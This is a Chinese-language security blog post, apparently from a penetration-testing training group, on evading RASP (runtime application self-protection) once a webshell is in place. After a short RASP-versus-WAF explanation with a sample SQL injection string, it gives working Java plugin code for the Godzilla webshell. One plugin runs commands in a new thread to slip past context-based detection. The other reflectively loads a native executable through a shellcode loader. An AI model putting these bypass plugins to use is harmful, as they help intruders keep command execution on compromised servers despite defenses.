webshell下的Rasp简易绕过

文摘   2024-09-26 17:05   四川  

一 、什么是RASP

2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。

RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。

二、RASP vs WAF

很多时候大家在攻击中遇到的都是基于流量规则的waf防御,waf往往误报率高,绕过率高,市面上也有很多针对不同waf的绕过方式,而RASP技术防御是根据请求上下文进行拦截的,和WAF对比非常明显

比如说:

攻击者对urlhttp://http.com/index.do?id=1进行测试,一般情况下,扫描器或者人工测试sql注入都会进行一些sql语句的拼接,来验证是否有注入,会对该url进行大量的发包,发的包可能如下:

http://xxx.com/index.do?id=1' and 1=2--

但是应用程序本身已经在程序内做了完整的注入参数过滤以及编码或者其他去危险操作,实际上访问该链接以后在数据库中执行的sql语句为:

select id,name,age from home where id='1 \' and 1=2--'

可以看到这个sql语句中已经将单引号进行了转义,导致无法进行,但是WAF大部分是基于规则去拦截的(也有小部分WAF是带参数净化功能的),也就是说,如果你的请求参数在他的规则中存在,那么waf都会对其进行拦截(上面只是一个例子,当然waf规则肯定不会这么简单,大家不要钻牛角尖。),这样会导致误报率大幅提升,但是RASP技术可以做到程序底层拼接的sql语句到数据库之前进行拦截。也就是说,在应用程序将sql语句预编译的时候,RASP可以在其发送之前将其拦截下来进行检测,如果sql语句没有危险操作,则正常放行,不会影响程序本身的功能。如果存在恶意攻击,则直接将恶意攻击的请求进行拦截或净化参数。

浅谈RASP技术攻防之基础篇 - FreeBuf网络安全行业门户

对抗思路

我们上传shell获取webshell权限后,执行命令时会无法执行,遇到被拦截的情况:

这就是rasp根据上下文消息来对你执行命令进行拦截的:

比如:

提示拒绝访问,无法执行命令,同时哥斯拉的超级终端也开启部了

怎么绕过?

一:重写执行命令的方法(绕过上下文信息的检测)

这里说的重写执行命令的方法并不是修改哥斯拉的执行命令,而且写一个插件来代替常规的执行命令,不过这里的原理是创建一个新的线程来绕过rasp对于上下文信息的检测方法

private void cmdButtonClick(ActionEvent actionEvent) {   final String cmdPattern = this.cmdTextField.getText();   (new Thread() {     public void run() {       String cmdResult =payload.execCommand(cmdPattern);       cmdTextArea.setText(cmdResult);       JOptionPane.showMessageDialog(NewCmd.this.panel, "NewCmdExecution Completed!", "提示", 1);     }   }).start(); }

原理还是利用shell自带的execcommand,不过这里我们可以看到他是new Thread,意思是创建一个新的进程,原本rasp的检测是直接根据上下文,比如webshell发出命令execcommand 下文就是返回结果,这里我们改成了webshell发出命令先创建一个线程,再从线程中运行execommand等待线程结束,再返回结果,这样rasp的对于上下文关系的检测就变成了创建线程-执行命令-线程结束

看下实际效果:

这里我们可以看到他并没有拦截

而我们再次尝试,发现他拦截了

二:利用哥斯拉的反射加载来执行命令

我们知道,哥斯拉他提供了反射加载的方法,可以反射加载任意一个c,或者c++的程序,这里我们可以编写一个c,或者c++的程序来执行命令,例如编写一个程序来代替cmd之后反射加载,这里就部提供源码,源码 in 知识星球:https://t.zsxq.com/wVWYk

实际效果:

这种方法更好,因为你rasp某些检测方法,比如根据上下文检测,压根就检测部到

这里提供一下反射加载插件的写法:

package shells.plugins.generic;import core.Encoding;import core.imp.Payload;import core.imp.Plugin;import core.shell.ShellEntity;import core.ui.component.RTextArea;import core.ui.component.dialog.GOptionPane;import util.UiFunction;import util.automaticBindClick;import util.functions;import javax.swing.*;import java.awt.*;import java.awt.event.ActionEvent;import java.awt.event.ComponentAdapter;import java.awt.event.ComponentEvent;public abstract class BypassRasp implements Plugin { private final JPanel panel = new JPanel(new BorderLayout()); private final JLabel argsLabel = new JLabel("cmd:"); private final JTextField argsTextField = new JTextField("whoami"); private final JButton runButton = new JButton("Run"); private final JButton aboutButton = new JButton("About"); private final JSplitPane splitPane = new JSplitPane(); private final RTextArea resultTextArea = new RTextArea(); private boolean loadState; protected ShellEntity shellEntity; protected Payload payload; private Encoding encoding; private ShellcodeLoader loader; public BypassRasp() {   this.splitPane.setOrientation(0);   this.splitPane.setDividerSize(0);   JPanel topPanel = new JPanel();   topPanel.add(this.argsLabel);   topPanel.add(this.argsTextField);   topPanel.add(this.runButton);   this.splitPane.setTopComponent(topPanel);   this.splitPane.setBottomComponent(new JScrollPane(this.resultTextArea));   this.splitPane.addComponentListener(new ComponentAdapter() {     public void componentResized(ComponentEvent e) {       BypassRasp.this.splitPane.setDividerLocation(0.15D);     }   });   this.panel.add(this.splitPane); }加载assets/bypassrasp.exe之后java和cshap中调用 private void aboutButtonClick(ActionEvent actionEvent){   GOptionPane.showMessageDialog(null,"只适用windows"); } private void runButtonClick(ActionEvent actionEvent) {   if (this.loader == null) {     this.loader = this.getShellcodeLoader();   }   if (this.loader == null) {     GOptionPane.showMessageDialog(UiFunction.getParentFrame(this.panel),"未找到loader");   } else {     byte[] pe =functions.readInputStreamAutoClose(BypassRasp.class.getResourceAsStream("assets/bypassrasp.exe"));     try {       byte[] result =this.loader.runPe2(this.argsTextField.getText().trim(), pe, 6000);       System.out.println(this.argsTextField.getText().trim());       System.out.println(new String(result));       this.resultTextArea.setText(this.encoding.Decoding(result));     } catch (Exception var4) {      GOptionPane.showMessageDialog(UiFunction.getParentFrame(this.panel),var4.getMessage());     }   } } public void init(ShellEntity shellEntity) {   this.shellEntity = shellEntity;   this.payload = this.shellEntity.getPayloadModule();   this.encoding = Encoding.getEncoding(this.shellEntity);   automaticBindClick.bindJButtonClick(BypassRasp.class, this,BypassRasp.class, this); } public JPanel getView() {   return this.panel; } protected abstract ShellcodeLoader getShellcodeLoader(); }

加载assets/bypassrasp.exe

之后java和cshap中调用

package shells.plugins.cshap;import core.annotation.PluginAnnotation;import shells.plugins.generic.ShellcodeLoader;@PluginAnnotation(   payloadName = "CShapDynamicPayload",   Name = "BypassRasp",   DisplayName = "BypassRasp")public class BypassRasp extends shells.plugins.generic.BypassRasp { public BypassRasp() { } protected ShellcodeLoader getShellcodeLoader() {   return(ShellcodeLoader)this.shellEntity.getFrame().getPlugin("ShellcodeLoader"); }}


三:自行研究.........

https://xz.aliyun.com/t/14187

比如jndi、native、还有hook等各种

论文参考:https://www.computer.org/csdl/proceedings-article/acctcs/2024/599800a215/1ZnkrS4DMOs


老鑫安全
真正的大师永远都怀着一颗学徒的心,专注于渗透测试,红蓝对抗,漏洞挖掘等安全技术培训 B站:老鑫安全 知识星球:老鑫安全 官网论坛:https://www.laoxinsec.com